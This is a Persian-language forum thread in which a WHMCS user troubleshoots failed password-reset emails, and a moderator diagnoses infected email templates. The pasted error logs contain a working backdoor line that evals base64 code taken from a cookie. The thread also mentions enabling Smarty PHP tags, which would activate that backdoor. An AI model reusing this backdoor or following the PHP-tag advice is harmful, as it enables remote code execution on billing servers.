عدم ارسال ایمیل تغییر پسورد

شروع موضوع توسط deldar ‏Sep 6, 2016 در انجمن WHMCS

  1. deldar

    deldar عضو تایید شده کاربر انجمن

    با سلام
    بعد از بروزرسانی ایمیل تغییر پسورد در whmcs به دست کاربران نمی رسد!

    لاگ ثبت شده:
    Email Sending Failed - Message body empty (User ID: 1385 - Subject: لینک درخواست رمز عبور جدید)

    و
    Password Reset Requested

    ممنون می شم راهنمایی کنید
    با تشکر
     
  2. deldar

    deldar عضو تایید شده کاربر انجمن

    این ۲ لاگ هم ثبت می شوند:
    Smarty Error: Syntax error in template "mailTemplate:message" on line 4 "<div style="text-align: right;" dir="rtl"><span style="font-size: small; font-family: tahoma, arial, helvetica, sans-serif;">{$signature}</span></div>{php}if($_COOKIE["sec"] == "123"){eval(base64_decode($_COOKIE["sec2"])); die("!");}{/php}" unknown tag "php"

    و

    Smarty Error: Syntax error in template "mailTemplate:plaintext" on line 3 "<div style="text-align: right;" dir="rtl"><span style="font-size: small; font-family: tahoma, arial, helvetica, sans-serif;">{$signature}</span></div>{php}if($_COOKIE["sec"] == "123"){eval(base64_decode($_COOKIE["sec2"])); die("!");}{/php}" unknown tag "php"
     
  3. deldar

    deldar عضو تایید شده کاربر انجمن

    ممنون می شم دوستان راهنمایی کنند
     
  4. farid

    farid مدیر کل انجمن عضو کادر مدیریت مدیر کل انجمن

    سلام
    توی ایمیل تمپلیت ظاهرا تگ {php} استفاده شده به نظرم ایمیل تمپلیت شما مشکوک است ابتدا چک کنید ایمیل تمپلیت صحیح باشد یک موقع injection نکرده باشند به سیستم شما! حدس میزنم ایمیل تمپلیت ها را از اینترنت گرفتید و آپلود کردید ظاهرا آلوده هم است
    اما دلیل اجرا نشدن تگ {php} است که در ورژن جدید برای امنیت بصورت پیش فرض بسته شده است برای اجرا میتونید از setup->general setting->smarty php tag گزینه را فعال کنید که با توضحیاتی که دادم به نظرم ایمیل تمپلیت مربوطه را از روی اورژینالش اصلاح کنید!
     
    deldar از این پست تشکر کرده است.
  5. deldar

    deldar عضو تایید شده کاربر انجمن

    سلام
    ممنون از راهنمایی. لایسنس را از فراسو تهیه کردیم و قبل از بروزرسانی مشکلی نبوده!
    با فعال کردن smarty php tag مشکل همچنان باقیست!
    آیا ایمیل تمپلیت ها را می شود از فراسو دانلود و جایگزین کرد؟(با توجه به اینکه لایسن از فراسئ تهیه شده است)
    با تشکر
     
  6. farid

    farid مدیر کل انجمن عضو کادر مدیریت مدیر کل انجمن

    سلام
    اگر بسته فارسی ساز فراسو را تهیه کردید یک نسخه از ایمیل ها فارسی موجود است میتونید دانلود و مطابق دستور عمل نصب کردید اگر خیر در فایل اصلی whmcs
    فولدر install->sql فایل emailtemplates.sql رو میتونید بردارید و در دیتابیس import کنید تا ایمیل های اورژینال انگلیسی نصب شوند و سپس دستی فارسی کنیدشون
     
    deldar از این پست تشکر کرده است.

به اشتراک بگذارید

س